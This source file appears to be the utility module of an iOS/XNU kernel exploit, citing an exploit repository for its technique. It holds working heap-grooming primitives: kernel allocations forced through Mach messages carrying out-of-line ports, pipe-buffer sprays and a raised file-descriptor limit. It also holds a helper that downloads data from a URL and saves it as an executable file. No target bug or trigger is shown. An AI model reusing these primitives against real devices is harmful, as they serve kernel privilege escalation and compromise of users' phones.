// [1] https://github.com/externalist/exploit_playground/blob/master/empty_list/empty_list/empty_list/sploit.c
#include "utils.h"

void for_other_threads(void (^handler)(thread_act_t thread))
{
	thread_act_t thread_self = mach_thread_self();
	thread_act_port_array_t list;
	mach_msg_type_number_t count;
	kern_return_t kr = 0;

	kr = task_threads(mach_task_self(), &list, &count);
	if (kr != KERN_SUCCESS) {
		LOG("task_threads failed");
		return;
	}

	for (int i=0; i<count; i++) {
		if (list[i] != thread_self) {
			handler(list[i]);	
		}
	}
}

void set_nofile_limit()
{
	int ret;
	struct rlimit rlim;
	ret = getrlimit(RLIMIT_NOFILE, &rlim);
	if (ret < 0) {
		LOG("getresuid failed errno: %d", errno);
		exit(-1);
	}
	LOG("nofile limit: %llx %llx", rlim.rlim_cur, rlim.rlim_max);

	rlim.rlim_cur = 0x2000;
	ret = setrlimit(RLIMIT_NOFILE, &rlim);
	if (ret < 0) {
		LOG("setrlimit failed errno: %d", errno);
		exit(-1);
	}
	LOG("set new nofile limit: %llx", rlim.rlim_cur);
}

NSData *download_data(NSString *_url)
{
	NSURL  *url = [NSURL URLWithString:_url];
	LOG("get %@", url);
	NSData *urlData = [NSData dataWithContentsOfURL:url];
	if (urlData != nil)
		LOG("got remote len: %d", [urlData length]);
	else
		LOG("could not get %@", url);

	return urlData;
}

int download(char *src, char *dest)
{
	NSString *url = [NSString stringWithUTF8String:src];
	NSData *data = download_data(url);
	if (data == nil)
		return -1;

	unlink(dest);
	sync();

	int fd = open(dest, O_CREAT | O_RDWR, 
		       	S_IRUSR | S_IXUSR | S_IWUSR |
			S_IRGRP | S_IXGRP |
			S_IROTH | S_IXOTH
		     ); 
	if (fd < 0) {
		LOG("could not open %s", dest);
		return -1;
	}

	int ret = write(fd, [data bytes], [data length]);
	LOG("saved to %s, write ret: %d", dest, ret);
	close(fd);

	sync();

	return 0;
}

mach_port_t alloc_port()
{
	kern_return_t err;
	mach_port_t port = MACH_PORT_NULL;

	err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
	if (err != KERN_SUCCESS) {
		LOG("mach_port_allocate failed to allocate a port");
	}

	// insert a send right:
	err = mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
	if (err != KERN_SUCCESS) {
		LOG("mach_port_insert_right failed");
	}

	return port;
}

// Controlled kernel memory allocations used below
// are taken from [1] and described there in great details.
typedef struct 
{
	mach_msg_header_t hdr;
	mach_msg_body_t body;
	mach_msg_ool_ports_descriptor_t ool_ports;
	uint8_t pad[0x200];
} kalloc_mach_msg_t;

kern_return_t kalloc_ool_ports(mach_port_t port, mach_port_t ool_port, size_t cnt)
{
	kern_return_t err;
	kalloc_mach_msg_t kalloc_msg = {0};
	uint32_t msg_size = sizeof(kalloc_msg);
	// send a message with two OOL NULL ports; these will end up in a kalloc.16:

	kalloc_msg.hdr.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
	kalloc_msg.hdr.msgh_size = msg_size; //sizeof(struct kalloc_16_send_msg);
	kalloc_msg.hdr.msgh_remote_port = port;
	kalloc_msg.hdr.msgh_local_port = MACH_PORT_NULL;
	kalloc_msg.hdr.msgh_id = 0x41414141;

	kalloc_msg.body.msgh_descriptor_count = 1;
	mach_port_t ports[cnt]; 
	for (int i=0; i<cnt; i++) {
		ports[i] = ool_port;
	}

	kalloc_msg.ool_ports.address = ports;
	kalloc_msg.ool_ports.count = cnt;
	kalloc_msg.ool_ports.deallocate = 0;
	kalloc_msg.ool_ports.disposition = MACH_MSG_TYPE_COPY_SEND;
	kalloc_msg.ool_ports.type = MACH_MSG_OOL_PORTS_DESCRIPTOR;
	kalloc_msg.ool_ports.copy = MACH_MSG_PHYSICAL_COPY;

	err = mach_msg(&kalloc_msg.hdr,
			MACH_SEND_MSG|MACH_MSG_OPTION_NONE,
			(mach_msg_size_t)msg_size,
			0,
			MACH_PORT_NULL,
			MACH_MSG_TIMEOUT_NONE,
			MACH_PORT_NULL);

	if (err != KERN_SUCCESS) {
		LOG("sending kalloc.8 message failed %s\n", mach_error_string(err));
	}

	return err;
}

kern_return_t kalloc_page_ool_ports(mach_port_t port)
{
	return kalloc_ool_ports(port, MACH_PORT_NULL, PAGE_SIZE/4);
}

kern_return_t kalloc_8_ool_ports(mach_port_t port, mach_port_t ool_port)
{
	return kalloc_ool_ports(port, ool_port, 2);
}

void discard_message(mach_port_t port)
{
	static int8_t msg_buf[0x4000];
	mach_msg_header_t* msg = (mach_msg_header_t*)msg_buf;
	kern_return_t err;
	err = mach_msg(msg,
			MACH_RCV_MSG | MACH_MSG_TIMEOUT_NONE, // no timeout
			0,
			sizeof(msg_buf),
			port,
			0,
			0);
	if (err != KERN_SUCCESS){
		LOG("error receiving on port: %s\n", mach_error_string(err));
	}

	mach_msg_destroy(msg);
}

void hexdump(void *ptr, size_t n)
{
	uint32_t *u32 = ptr;

	for (int i=0; i<n; i+=2) {
		LOG("%08X %08X", u32[i], u32[i+1]);
	}
}

int pipe_create(int fds[2])
{
	int ret = pipe(fds);
	if (ret < 0) {
		LOG("pipe allocation failed errno: %d", errno);
		return -1;
	}

	return 0;
}

int pipe_alloc(int fds[2], void *buf, size_t size)
{
	int ret = write(fds[1], buf, size);
	if (ret < 0) {
		LOG("pipe write failed, fd: %d, errno: %d", fds[1], errno);
		return -1;
	}

	return 0;
}

void pipes_close(int *pipes, size_t count)
{
	for (int i=0; i<count; i++) {
		if (pipes[i*2] != -1) {
			close(pipes[i*2]);
			close(pipes[i*2+1]);
		}
	}
}

int pipes_create(int *pipes, size_t count)
{
	for (int i=0; i<count; i++) {
		if (pipe_create(&pipes[i*2]) < 0) {
			return -1;
		}
	}

	return 0;
}

int pipes_alloc(int *pipes, size_t count, char *pipe_buf)
{
	for (int i=0; i<count; i++) {
		if (pipe_alloc(&pipes[i*2], pipe_buf, PAGE_SIZE-1) < 0) {
			LOG("pipe alloc failed at %d", i);
			return -1;
		}
	}

	return 0;
}

